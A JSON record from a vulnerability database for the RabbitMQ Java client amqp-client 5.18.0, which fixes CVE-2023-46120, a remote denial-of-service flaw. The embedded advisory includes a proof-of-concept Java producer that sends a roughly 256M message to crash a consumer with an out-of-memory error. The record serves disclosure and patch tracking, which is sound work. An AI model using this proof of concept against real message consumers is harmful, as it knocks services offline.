{"url":"http://public2.vulnerablecode.io/api/packages/67490?format=json","purl":"pkg:maven/com.rabbitmq/amqp-client@5.18.0","type":"maven","namespace":"com.rabbitmq","name":"amqp-client","version":"5.18.0","qualifiers":{},"subpath":"","is_vulnerable":false,"next_non_vulnerable_version":null,"latest_non_vulnerable_version":null,"affected_by_vulnerabilities":[],"fixing_vulnerabilities":[{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/46278?format=json","vulnerability_id":"VCID-ktt4-hm4k-9qcf","summary":"RabbitMQ Java client's Lack of Message Size Limitation leads to Remote DoS Attack\n### Summary\n`maxBodyLebgth` was not used when receiving Message objects. Attackers could just send a very large Message causing a memory overflow and triggering an OOM Error.\n\n### PoC\n#### RbbitMQ\n* Use RabbitMQ 3.11.16 as MQ and specify Message Body size 512M (here it only needs to be larger than the Consumer memory)\n* Start RabbitMQ\n#### Producer\n* Build a String of length 256M and send it to Consumer\n```\npackage org.springframework.amqp.helloworld; \n\nimport org.springframework.amqp.core.AmqpTemplate; \nimport org.springframework.context.ApplicationContext; \nimport org.springframework.context.annotation.AnnotationConfigApplicationContext; \n\npublic class Producer {\n public static void main(String[] args) {\n  ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);\n  AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class); \n  String s = \"A\";\n  for(int i=0;i<28;++i){\n   s = s + s;\n   System.out.println(i);\n  }\n  amqpTemplate.convertAndSend(s);\n  System.out.println(\"Send Finish\");\n }\n }\n```\n\n#### Consumer\n* First set the heap memory size to 128M\n* Read the message sent by the Producer from the MQ and print the length\n```\npackage org.springframework.amqp.helloworld;\n\nimport org.springframework.amqp.core.AmqpTemplate;\nimport org.springframework.amqp.core.Message;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.context.annotation.AnnotationConfigApplicationContext;\n\npublic class Consumer {\n \n public static void main(String[] args) {\n  ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);\n  AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class);\n  Object o = amqpTemplate.receiveAndConvert();\n  if(o != null){\n   String s = o.toString();\n   System.out.println(\"Received Length : \" + s.length());\n  }else{\n   System.out.println(\"null\");\n  }\n }\n}\n```\n#### Results\n* Run the Producer first, then the Consumer\n* Consumer throws OOM Exception\n\n\n### Impact\nUsers of RabbitMQ may suffer from DoS attacks from RabbitMQ Java client which will ultimately exhaust the memory of the consumer.","references":[{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2023-46120","reference_id":"","reference_type":"","scores":[{"value":"0.01095","scoring_system":"epss","scoring_elements":"0.78362","published_at":"2026-06-06T12:55:00Z"},{"value":"0.01095","scoring_system":"epss","scoring_elements":"0.78353","published_at":"2026-06-05T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2023-46120"},{"reference_url":"https://github.com/rabbitmq/rabbitmq-java-client","reference_id":"","reference_type":"","scores":[{"value":"4.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/rabbitmq/rabbitmq-java-client"},{"reference_url":"https://github.com/rabbitmq/rabbitmq-java-client/commit/714aae602dcae6cb4b53cadf009323ebac313cc8","reference_id":"","reference_type":"","scores":[{"value":"4.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2024-09-11T13:10:31Z/"}],"url":"https://github.com/rabbitmq/rabbitmq-java-client/commit/714aae602dcae6cb4b53cadf009323ebac313cc8"},{"reference_url":"https://github.com/rabbitmq/rabbitmq-java-client/issues/1062","reference_id":"","reference_type":"","scores":[{"value":"4.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2024-09-11T13:10:31Z/"}],"url":"https://github.com/rabbitmq/rabbitmq-java-client/issues/1062"},{"reference_url":"https://github.com/rabbitmq/rabbitmq-java-client/releases/tag/v5.18.0","reference_id":"","reference_type":"","scores":[{"value":"4.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2024-09-11T13:10:31Z/"}],"url":"https://github.com/rabbitmq/rabbitmq-java-client/releases/tag/v5.18.0"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2023-46120","reference_id":"","reference_type":"","scores":[{"value":"4.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-46120"},{"reference_url":"https://github.com/advisories/GHSA-mm8h-8587-p46h","reference_id":"GHSA-mm8h-8587-p46h","reference_type":"","scores":[],"url":"https://github.com/advisories/GHSA-mm8h-8587-p46h"},{"reference_url":"https://github.com/rabbitmq/rabbitmq-java-client/security/advisories/GHSA-mm8h-8587-p46h","reference_id":"GHSA-mm8h-8587-p46h","reference_type":"","scores":[{"value":"4.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2024-09-11T13:10:31Z/"}],"url":"https://github.com/rabbitmq/rabbitmq-java-client/security/advisories/GHSA-mm8h-8587-p46h"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67490?format=json","purl":"pkg:maven/com.rabbitmq/amqp-client@5.18.0","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:maven/com.rabbitmq/amqp-client@5.18.0"}],"aliases":["CVE-2023-46120","GHSA-mm8h-8587-p46h"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-ktt4-hm4k-9qcf"}],"risk_score":null,"resource_url":"http://public2.vulnerablecode.io/packages/pkg:maven/com.rabbitmq/amqp-client@5.18.0"}